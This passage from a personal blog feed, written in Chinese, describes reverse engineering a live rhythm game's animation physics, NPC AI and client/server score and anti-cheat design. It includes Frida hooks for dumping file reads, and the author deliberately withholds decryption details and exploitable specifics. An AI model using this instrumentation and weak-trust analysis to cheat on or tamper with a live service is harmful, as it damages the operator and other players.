<p>也就是說模擬「擺動的力道」大致抓對了，「往哪擺」只抓到微弱的相關。目前最乾淨的一條線索是一個<strong>單節、輸入幾乎完美</strong>的案例：角色站著不動、姿勢已沉降時，鏈根量到 0.98°，緊接著的第一節模擬骨卻放大到 5.73°——中間沒有沿鏈累積（累積是另一個獨立現象，長鏈才會看到），是目前唯一「輸入乾淨、輸出可量、只差一個節點」的地方。</p>
<p>上面積分器裡拉回靜止位置的那一項，先前一直是兩個假設在打架：讀「上一格位置」（慣性／verlet）還是讀「動畫算出的靜止位置」（restore）。逐字元讀完子步迴圈唯一會寫那個暫存器的路徑，確認是後者——<strong>模擬本來就寫對，不用改</strong>，這條懸念關掉了，但也代表誤差不是這裡漏東西。</p>
<p>同一段時間另外挖出一條獨立的線索，目前只解到一半：把「每股裙擺／緞帶自己的殘差」（不是單一節點，是整條鏈一起偏）拆開看，發現它有一半直接可以歸因到一個資產欄位——<strong>每股鏈的第一根骨的質量標成 0（不受重力），但模擬讀到的其實是它子骨的質量 1</strong>。這不是模擬讀錯，二進位親自確認就是讀子骨；順著這條往下量，遊戲對這批「本不該受重力卻受了」的骨有一個專門的抵消機制，方向對、但確切在抵消什麼、由誰觸發還沒抓到——往上追那個觸發旗標是怎麼被寫入的，追到一個只能靠間接呼叫（不是一般的 BL 直接呼叫）才會執行到的路徑，static 分析在這裡到頂，但也確認了它不影響前面單節誤差那條線的結論。</p>
<p>已實作但目前看來會被下游缺陷放大、預設關掉的幾項（風、<code>QuartzDriverSkirtBone</code> 驅動鏈根、碰撞）仍待在排除掉這個單節誤差之後重測——<strong>在錯誤的基線上做的排除，不算排除。</strong></p>
<p><strong>狀態：未完成。</strong> 這是整個專案唯一還開著的東西——但逆向本身（讀懂遊戲怎麼算）已經做完了，卡住的是模擬還原不出同一個數字。</p>
<p>本節來源：<a href="#doc-ClaudeDocs-RE_NOTES_AVATAR"><code>RE_NOTES_AVATAR.md</code></a> · 現況見 <a href="#doc-ClaudeDocs-HANDOFF"><code>HANDOFF.md</code></a> 與 <a href="#doc-ClaudeDocs-NEXT_STEPS"><code>NEXT_STEPS.md</code></a></p>
<hr>
<h2 id="8-ai-動作決策-公園是劇本-賽道才是決策樹" class="phrased">（8）<wbr>AI 動作<wbr>決策：<wbr>公園<wbr>是<wbr>劇本，<wbr>賽道<wbr>才是<wbr>決策<wbr>樹</h2>
<p>資產、動畫、物理之外，另一條線是「遊戲跑起來之後的邏輯」。先從 AI 講。</p>
<h3 id="1-公園-npc-沒有決策" class="phrased">1. 公園 NPC：<wbr>沒有<wbr>決策</h3>
<p>公園場景（<code>Vision.Park</code>）的 NPC，角色頂層狀態只有五個（None / Normal / Move / Action / AutoLogic），移動由一個<strong>三態狀態機</strong>驅動：待命、走 NavMesh 到一個目的地、朝一個方向推進。</p>
<p>逐一讀過三個狀態的每幀更新後，結論是它們<strong>不做決策</strong>——目的地與方向都是從外部傳進來的，狀態自己不產生它們，沒有亂數、沒有自我轉場。NPC 的「行為」其實是<strong>對話劇本 + 一連串演出單元</strong>：一個單元一個動作（播動作、移動、轉身、表情），串起來播。人格型別只有三種，看來只影響待機動作的挑選。</p>
<figure class="diagram"><svg viewBox="0.00 0.00 348.00 67.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="公園 NPC：三態機，不做決策">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 62.83)">
<polygon fill="none" stroke="none" points="-4,4 -4,-62.83 343.91,-62.83 343.91,4 -4,4"></polygon>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="27" cy="-29.42" rx="27" ry="18"></ellipse>
<text text-anchor="middle" x="27" y="-25.22" font-family="Times,serif" font-size="14.00">待命</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="149.7" cy="-29.42" rx="59.7" ry="29.42"></ellipse>
<text text-anchor="middle" x="149.7" y="-33.62" font-family="Times,serif" font-size="14.00">走 NavMesh</text>
<text text-anchor="middle" x="149.7" y="-16.82" font-family="Times,serif" font-size="14.00">到目的地</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M54.49,-29.42C61.73,-29.42 69.93,-29.42 78.39,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="78.11,-32.92 88.11,-29.42 78.11,-25.92 78.11,-32.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="292.66" cy="-29.42" rx="47.25" ry="18"></ellipse>
<text text-anchor="middle" x="292.66" y="-25.22" font-family="Times,serif" font-size="14.00">朝方向推進</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M209.66,-29.42C217.57,-29.42 225.68,-29.42 233.57,-29.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="233.42,-32.92 243.42,-29.42 233.42,-25.92 233.42,-32.92"></polygon>
</g>
</g>
</svg><figcaption>公園 NPC：三態機，不做決策</figcaption></figure>
<p><strong>公園 NPC 不「自己決定」任何複雜的事，它按 spawn data 觸發固定序列。</strong> 追問「那目的地是誰產生的」——這個問題把我帶到了另一個地方。</p>
<h3 id="2-真正的決策樹在賽道小遊戲" class="phrased">2. 真正<wbr>的<wbr>決策<wbr>樹在賽道小<wbr>遊戲</h3>
<p>追「誰產生目的地」時，撞出一整個先前沒注意到的命名空間 <code>Vision.Circuit</code>（一款馬車競速小遊戲）。它的對手 NPC 才是這遊戲裡真正有 AI 決策的地方，用的是<strong>分層有限狀態機</strong>（有狀態堆疊：等待開賽 / 比賽中 / 抵達終點 / 重生 / 退賽）。</p>
<figure class="diagram"><svg viewBox="0.00 0.00 306.00 152.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="賽道 NPC：分層有限狀態機">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 148)">
<polygon fill="none" stroke="none" points="-4,4 -4,-148 301.56,-148 301.56,4 -4,4"></polygon>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="40.01" cy="-72" rx="40.01" ry="18"></ellipse>
<text text-anchor="middle" x="40.01" y="-67.8" font-family="Times,serif" font-size="14.00">等待開賽</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="148.78" cy="-72" rx="32.76" ry="18"></ellipse>
<text text-anchor="middle" x="148.78" y="-67.8" font-family="Times,serif" font-size="14.00">比賽中</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M80.46,-72C88.28,-72 96.54,-72 104.48,-72"></path>
<polygon fill="currentColor" stroke="currentColor" points="104.3,-75.5 114.3,-72 104.3,-68.5 104.3,-75.5"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="257.55" cy="-126" rx="40.01" ry="18"></ellipse>
<text text-anchor="middle" x="257.55" y="-121.8" font-family="Times,serif" font-size="14.00">抵達終點</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M173.74,-84.12C187.33,-90.99 204.62,-99.73 219.88,-107.45"></path>
<polygon fill="currentColor" stroke="currentColor" points="218.19,-110.52 228.7,-111.91 221.35,-104.28 218.19,-110.52"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="257.55" cy="-72" rx="27" ry="18"></ellipse>
<text text-anchor="middle" x="257.55" y="-67.8" font-family="Times,serif" font-size="14.00">重生</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M180.09,-65.84C192.55,-65.16 207.09,-65.07 220.12,-65.56"></path>
<polygon fill="currentColor" stroke="currentColor" points="219.88,-69.05 230.06,-66.1 220.26,-62.06 219.88,-69.05"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="257.55" cy="-18" rx="27" ry="18"></ellipse>
<text text-anchor="middle" x="257.55" y="-13.8" font-family="Times,serif" font-size="14.00">退賽</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M173.74,-59.88C188.97,-52.18 208.85,-42.12 225.31,-33.8"></path>
<polygon fill="currentColor" stroke="currentColor" points="226.86,-36.94 234.21,-29.3 223.7,-30.69 226.86,-36.94"></polygon>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M231.57,-77.82C219.55,-78.69 204.83,-78.95 191.2,-78.6"></path>
<polygon fill="currentColor" stroke="currentColor" points="191.73,-75.12 181.6,-78.22 191.46,-82.11 191.73,-75.12"></polygon>
</g>
</g>
</svg><figcaption>賽道 NPC：分層有限狀態機</figcaption></figure>
<p>比賽主體跑一條<strong>動作鏈</strong>——一個動作完成回傳下一個：找路（走 NavMesh 或 waypoint）、跳（過障礙）、以及一個反射層「卡住就跳」疊在上面兜底。</p>
<h3 id="3-決策核心-用-冒險傾向-對候選路徑點打分" class="phrased">3. 決策<wbr>核心：<wbr>用<wbr>「冒險<wbr>傾向」<wbr>對<wbr>候選<wbr>路徑<wbr>點<wbr>打分</h3>
<p>找下一個路徑點時，對每個候選 waypoint 呼叫一個評分函式，選分數最佳者。人格結構 <code>NpcPersonalty</code> 的關鍵欄位是 <strong><code>RiskTaking</code>（冒險傾向）</strong>。評分把兩個正規化因子（一個來自幾何、一個來自候選序）用 <code>RiskTaking</code> 加權：冒險值高的對手更敢選「近但風險高」的線，低的更保守。</p>
<p>這是一個<strong>單層效用評分</strong>決策，不是多層行為樹——「分層」體現在狀態堆疊，不在動作選擇本身。</p>
<blockquote>
<p><strong>一個工具教訓</strong>：要回答「這個狀態是誰切換的、目的地是誰給的」，需要一個「反向索引」——給一個函式，找出誰呼叫它。我寫了一支掃 ARM64 <code>BL</code> 指令的小工具，第一版<strong>掃錯了區段</strong>：IL2CPP 的方法碼幾乎全在一個獨立的可執行區段裡，不在一般的 <code>__text</code>，而我只掃了 <code>__text</code>。結果每一個查詢都回「零呼叫」——看起來像「這函式沒人用」，其實是沒掃到。修正後拿一個「已知一定有呼叫者」的函式交叉驗證，它正確回報了呼叫點，那些「零」才可信。<strong>一個回傳空結果的分析工具，和一個壞掉的分析工具，長得一模一樣。</strong></p>
</blockquote>
<p><strong>狀態：機制讀通。</strong></p>
<p>本節來源：<a href="#doc-ClaudeDocs-RE_NOTES_GAMEPLAY"><code>RE_NOTES_GAMEPLAY.md</code></a></p>
<hr>
<h2 id="9-判定與反作弊-用戶端算什麼-伺服器負責什麼" class="phrased">（9）<wbr>判定<wbr>與反<wbr>作弊：<wbr>用戶<wbr>端算<wbr>什麼、<wbr>伺服器<wbr>負責<wbr>什麼</h2>
<p>音遊的判定與成績，這一節只界定<strong>設計上的責任分工</strong>，不涉及任何繞過的做法。</p>
<h3 id="1-判定是純用戶端-即時-無網路" class="phrased">1. 判定<wbr>是純<wbr>用戶<wbr>端、<wbr>即時、<wbr>無<wbr>網路</h3>
<p>判定邏輯在 <code>Vision.LiveCore</code>。一次判定產出「判定等級（Miss/Bad/Good/Great/Perfect/PerfectPlus）＋ 快慢 ＋ 差了幾幀」。判定窗<strong>不是硬編碼</strong>，是每個 note 型別 × 每個等級一組，存在隨遊戲附帶的 master 資料表裡；判定時查表拿到一組幀數做區間判斷。<code>CalcJudgeType</code> 由寬到嚴逐級試，第一個落在窗內的就是結果。時間解析度是幀（1/60 秒），常數 <code>1/60</code> 直接寫在碼裡。</p>
<p>判定完在<strong>同一幀</strong>更新分數、combo、血量——沒有任何一次網路往返。分數同理：逐幀把數個係數相乘累加（perfect 係數、判定係數、combo 係數、deck 戰力、樂曲係數、技能加成），全程在本地。也就是說<strong>用戶端手上握有一份算好的最終成績</strong>。</p>
<h3 id="2-送出的是-結論-不是-過程" class="phrased">2. 送出<wbr>的是<wbr>「結論」，<wbr>不是<wbr>「過程」</h3>
<p>單人演唱會結束，用戶端以 gRPC 送出一個 <code>LiveBaseResult</code>——整場的最終統計（總分、各判定等級的數量、最大 combo、剩餘血量…）。伺服器收到的是<strong>結論</strong>，不是逐 note 的過程。這條資料的可信度<strong>取決於伺服器端是否重算／自洽檢查</strong>（用 deck 戰力 × 譜面理論上限驗分數上界、或檢查分數與各判定數是否自洽）。那部分邏輯在伺服器，<strong>不在用戶端二進位裡，本文看不到，也不推測其強度</strong>。</p>
<p>網路層有一套請求簽章（HMAC-SHA256，key 在用戶端），但由<strong>逐 API 的開關</strong>決定要不要加簽，不是全域強制。簽章的作用是完整性／防中間人竄改——它不是、也無法是「防止持有 key 的用戶端自身」的機制，這是 HMAC 的一般性質。</p>
<h3 id="3-反作弊-一套-sdk-觀察不到接線-一套自製的掛在賽道成績上" class="phrased">3. 反<wbr>作弊：<wbr>一套 SDK 觀察<wbr>不到<wbr>接線，<wbr>一套<wbr>自製<wbr>的掛在賽道<wbr>成績<wbr>上</h3>
<p>App 裡打包了一套完整的第三方反作弊 SDK（CodeStage Anti-Cheat Toolkit）：注入偵測、加速偵測、改時間偵測、穿牆偵測、app 完整性校驗、以及一整套記憶體混淆值型別。<strong>但三個獨立觀察都指向它沒有被遊戲碼接線</strong>：各偵測器的啟動進入點在用戶端碼裡找不到任何呼叫、自動啟動進入點同樣找不到、而且沒有任何遊戲型別把欄位換成混淆型別（若反作弊真在保護分數或座標，一定會用這些型別，實測是零）。</p>
<p>能斷言的是：用戶端碼裡沒有主動啟用點，也沒有任何具體遊戲數值受混淆保護。不能斷言「完全沒跑」——這些偵測器是 MonoBehaviour，理論上可由場景資料經 Unity 生命週期啟動，那條路徑靜態分析抓不到。綜合研判：<strong>這套 SDK 大機率是依賴或範本殘留，實質防護趨近於零。這是研判，不是鐵證。</strong></p>
<p>對照之下，<strong>賽道小遊戲有一套自己寫的、確實接進成績流程的作弊偵測</strong>：逐段賽道記進出時間、在賽道外的時間、dash 次數，依門檻算出一個作弊嚴重度（三級），並把它寫進送伺服器的名次結果。接線的關鍵證據是這條路徑上的方法都帶 <code>OnlyServer</code> 後綴——設計者明確標示「決定名次與獎勵的這份成績是伺服器權威的那一份」。</p>
<figure class="diagram"><svg viewBox="0.00 0.00 465.00 200.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="誰算什麼：音遊判定 vs 賽道違規偵測">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 196)">
<polygon fill="none" stroke="none" points="-4,4 -4,-196 461.31,-196 461.31,4 -4,4"></polygon>
<g class="cluster">

<polygon fill="none" stroke="currentColor" points="8,-8 8,-184 191.81,-184 191.81,-8 8,-8"></polygon>
<text text-anchor="middle" x="99.91" y="-167.4" font-family="Times,serif" font-size="14.00">用戶端</text>
</g>
<g class="cluster">

<polygon fill="none" stroke="currentColor" points="285.31,-8 285.31,-184 449.31,-184 449.31,-8 285.31,-8"></polygon>
<text text-anchor="middle" x="367.31" y="-167.4" font-family="Times,serif" font-size="14.00">伺服器</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="99.91" cy="-122" rx="55.86" ry="29.42"></ellipse>
<text text-anchor="middle" x="99.91" y="-126.2" font-family="Times,serif" font-size="14.00">判定＋算分</text>
<text text-anchor="middle" x="99.91" y="-109.4" font-family="Times,serif" font-size="14.00">無網路，逐幀</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="367.31" cy="-122" rx="74" ry="29.42"></ellipse>
<text text-anchor="middle" x="367.31" y="-126.2" font-family="Times,serif" font-size="14.00">LiveBaseResult</text>
<text text-anchor="middle" x="367.31" y="-109.4" font-family="Times,serif" font-size="14.00">只收「結論」</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M156.22,-122C192.46,-122 240.55,-122 281.56,-122"></path>
<polygon fill="currentColor" stroke="currentColor" points="281.42,-125.5 291.42,-122 281.42,-118.5 281.42,-125.5"></polygon>
<text text-anchor="middle" x="238.56" y="-126.2" font-family="Times,serif" font-size="14.00">gRPC 送出</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="99.91" cy="-45" rx="83.91" ry="29.42"></ellipse>
<text text-anchor="middle" x="99.91" y="-49.2" font-family="Times,serif" font-size="14.00">賽道違規記錄</text>
<text text-anchor="middle" x="99.91" y="-32.4" font-family="Times,serif" font-size="14.00">進出時間／dash 次數</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="367.31" cy="-45" rx="56.95" ry="29.42"></ellipse>
<text text-anchor="middle" x="367.31" y="-49.2" font-family="Times,serif" font-size="14.00">OnlyServer</text>
<text text-anchor="middle" x="367.31" y="-32.4" font-family="Times,serif" font-size="14.00">名次權威重算</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M184.15,-45C221.03,-45 263.85,-45 298.71,-45"></path>
<polygon fill="currentColor" stroke="currentColor" points="298.69,-48.5 308.69,-45 298.69,-41.5 298.69,-48.5"></polygon>
<text text-anchor="middle" x="238.56" y="-49.2" font-family="Times,serif" font-size="14.00">送出嚴重度分級</text>
</g>
</g>
</svg><figcaption>誰算什麼：音遊判定 vs 賽道違規偵測</figcaption></figure>
<p>把兩條放在一起：用戶端這側（音遊判定、算分）在設計上不設防，但同一個團隊在賽道模式明確做了「伺服器權威重算 + 門檻式作弊分級」。一個會為賽道小遊戲寫伺服器權威路徑的團隊，音遊主玩法的成績驗證大機率也在伺服器——這是研判，不是證明，因為那條的伺服器邏輯不在用戶端二進位裡。</p>
<p><strong>狀態：就用戶端可觀察的範圍讀通了；伺服器端的驗證強度按定義不在用戶端二進位內。</strong></p>
<p>本節來源：<a href="#doc-ClaudeDocs-RE_NOTES_GAMEPLAY"><code>RE_NOTES_GAMEPLAY.md</code></a></p>
<hr>
<h2 id="10-公開範圍" class="phrased">（10）<wbr>公開<wbr>範圍</h2>
<p>解密演算法解出來了，也寫成了完整的數學規格和可執行工具。那部分不在這裡，也不在公開 repo 裡。</p>
<p>理由是法律。台灣著作權法 §80-2 禁止提供「主要用於規避防盜拷措施之設備、器材、零件、<strong>技術或資訊</strong>」——「資訊」二字涵蓋的不只是程式碼，也涵蓋一份寫得夠清楚、讀完就能自己實作的規格文件。同條第三項有「為達成資訊間之相互操作性所為之還原工程」的例外，但一般理解是涵蓋<strong>做</strong>還原工程，不是<strong>公開發佈</strong>規避方法。灰色地帶，而我不是律師。</p>
<p>（所以本文與 sssekai 的筆記歸檔在這一點上不同——那邊會貼出完整的 key table 與 AES key/iv，這邊不會。這是我對自己所在法域的保守判斷，不是對別人做法的評價。）</p>
<p>工具切開發佈：格式解析那一半（AssetBundle 抽取、mesh／骨架、glTF 轉檔、Live2D 與 3D 動作解碼）是互通性工作，公開在 <a href="https://git.siao.ai/siao/hohohololive">https://git.siao.ai/siao/hohohololive</a>；解密那一半沒有。</p>
<p>切法本身有個轉折值得記。原本打算做常見的「拿掉金鑰、留下演算法」，但那不成立——金鑰是從 <code>address</code> 推導出來的，推導程序本身就是金鑰，沒有獨立的秘密可以拿掉。而實作裡唯一的魔術常數是<strong>單一位元組</strong>，已知明文就寫在檔頭，256 種可能是微秒級的窮舉。只遮那個常數，降低的工作量是零，卻會做出一個「看起來遮過、其實沒有」的東西。所以整層一起拿掉。</p>
<p>素材完全沒有公開，遊戲資源的版權屬於發行商，一個 byte 都不在任何我發佈的地方。</p>
<p>（8）（9）套用的是同一套判斷、但理由不同：不是著作權法的規避措施，是<strong>這款遊戲目前仍在正式營運</strong>。逆向出「哪裡沒設防」是一回事，公開到讀完就能照著改的程度是另一回事——後者對一個活著的服務就是一份現成的攻擊指南，不是互通性工作。所以公開版只留機制與責任邊界（判定怎麼算、成績誰驗、反作弊接了沒），確切函式位址、可直接照做的修改點、以及任何「所以可不可行」的操作性結論一律移除。完整版留在我自己這裡。</p>
<hr>
<h2 id="附-踩過的坑" class="phrased">（附）<wbr>踩過的坑</h2>
<details><summary>用小檔測傳輸速度</summary><p>換完 cipher 後測了一個小檔，它在寫進磁碟快取的瞬間就「傳完」了。一個改動之後看到改善，不代表是那個改動造成的。</p></details>
<details><summary>Dump 了 234MB 不需要的記憶體</summary><p>磁碟上的 <code>UnityFramework</code> 本來就沒加密。更糟的是記憶體版本反而不能用：</p><pre tabindex="0"><code>磁碟    __TEXT 緊密排列，file offset == vaddr - base
記憶體  __TEXT page 對齊，兩者相差各段的對齊 padding
</code></pre><p>位址對不起來，解析工具直接壞掉。加密的是 metadata 不是 binary，我沒分清楚就對兩者都用了對付加密的手段。</p></details>
<details><summary>延後讀取 native buffer</summary><p>native <code>read()</code> 的緩衝區在返回後很快被回收挪作他用，延遲讀到的都是不相關的殘留——一度誤判成查表邏輯、UTF16 字串、bplist。必須在 <code>onLeave</code> 當下同步 dump：</p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="javascript" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="javascript" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Interceptor.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">attach</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Module.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">findExportByName</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">null</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"read"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">), {</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  onEnter</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">args</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) { </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">this</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.buf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">]; },</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  onLeave</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">ret</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> n</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ret.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">toInt32</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (n </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">send</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">({tag: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"read"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, n}, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">this</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.buf.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">readByteArray</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(n));  </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 當下，不能延後</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">});</span></span></code></pre></figure></details>
<details><summary>fd 重用汙染追蹤表</summary><p>hook <code>open()</code> 記下有興趣的 fd 卻沒在 <code>close()</code> 清掉。系統把同一個 fd 數字重新分配給別的檔案之後，會把不相關的內容（<code>UnityFS</code> 檔頭、<code>bplist00</code>）當成目標檔案的內容：</p><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="javascript" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="javascript" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Interceptor.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">attach</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Module.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">findExportByName</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">null</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"close"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">), {</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  onEnter</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">args</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) { tracked.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">delete</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(args[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">].</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">toInt32</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">()); }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">});</span></span></code></pre></figure></details>
<p>後面兩個最值得記，因為它們不是「我推論錯了」，是<strong>觀測方法本身在製造假資料</strong>。假資料看起來跟真資料一模一樣，我還為它建構了好幾個解釋。</p>
<hr>
<h2 id="工具鏈" class="phrased">工具<wbr>鏈</h2>
<table tabindex="0">
<thead>
<tr>
<th>用途</th>
<th>工具</th>
</tr>
</thead>
<tbody>
<tr>
<td>USB 埠轉發</td>
<td><code>libimobiledevice</code> / <code>iproxy</code></td>
</tr>
<tr>
<td>動態 instrumentation</td>
<td>Frida（Python API，不是 CLI）</td>
</tr>
<tr>
<td>IL2CPP 解析</td>
<td><code>Il2CppInspectorRedux</code>（LukeFZ fork）</td>
</tr>
<tr>
<td>反編譯</td>
<td><code>rizin</code> + <code>rz-ghidra</code></td>
</tr>
<tr>
<td>Unity 資產</td>
<td><code>UnityPy</code>（<code>FALLBACK_UNITY_VERSION = "6000.3.0b1"</code>）</td>
</tr>
</tbody>
</table>
<ul>
<li><strong>Frida 用 Python API，不要用 CLI。</strong> CLI 有 attach timeout 的問題，<code>device.spawn() → attach() → resume()</code> 穩定得多。</li>
<li><strong><code>Il2CppInspectorRedux</code> 的 CLI 會假死。</strong> 內建的 SignalR web 服務有機會讓整個 process 卡住，所有執行緒 idle 在 <code>__psynch_cvwait</code>。用 <code>sample &#x3C;pid></code> 就能看出它不是在忙、是在等。改用更輕量的輸出選項可以繞過。</li>
</ul>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/mos9527/sssekai">https://github.com/mos9527/sssekai</a> · <a href="https://mos9527.com/posts/pjsk/archive-20240105/">Project SEKAI 逆向 - 筆記歸檔</a></li>
<li><a href="https://github.com/LukeFZ/Il2CppInspectorRedux">https://github.com/LukeFZ/Il2CppInspectorRedux</a></li>
<li><a href="https://github.com/rizinorg/rz-ghidra">https://github.com/rizinorg/rz-ghidra</a></li>
<li><a href="https://github.com/OpenL2D/moc3ingbird">https://github.com/OpenL2D/moc3ingbird</a></li>
<li><a href="https://protobuf.dev/programming-guides/encoding/">https://protobuf.dev/programming-guides/encoding/</a></li>
<li><a href="https://frida.re/docs/javascript-api/">https://frida.re/docs/javascript-api/</a></li>
</ul>]]></content:encoded>
    </item>
    <item>
      <title>你好，世界</title>
      <link>https://blog.siao.ai/hello-world/</link>
      <guid isPermaLink="true">https://blog.siao.ai/hello-world/</guid>
      <pubDate>Sat, 22 Aug 2026 00:00:00 GMT</pubDate>
      <description>第一篇文章，順便驗證整條 Markdown 渲染管線。</description>
      <content:encoded><![CDATA[<p>這是第一篇文章，用來確認整條管線都通了：GFM 表格、數學公式、程式碼高亮。</p>
<h2 id="gfm-表格" class="phrased">GFM 表格</h2>
<table tabindex="0">
<thead>
<tr>
<th>功能</th>
<th>狀態</th>
</tr>
</thead>
<tbody>
<tr>
<td>Markdown</td>
<td>✅</td>
</tr>
<tr>
<td>數學公式</td>
<td>✅</td>
</tr>
<tr>
<td>程式碼高亮</td>
<td>✅</td>
</tr>
</tbody>
</table>
<h2 id="數學公式" class="phrased">數學<wbr>公式</h2>
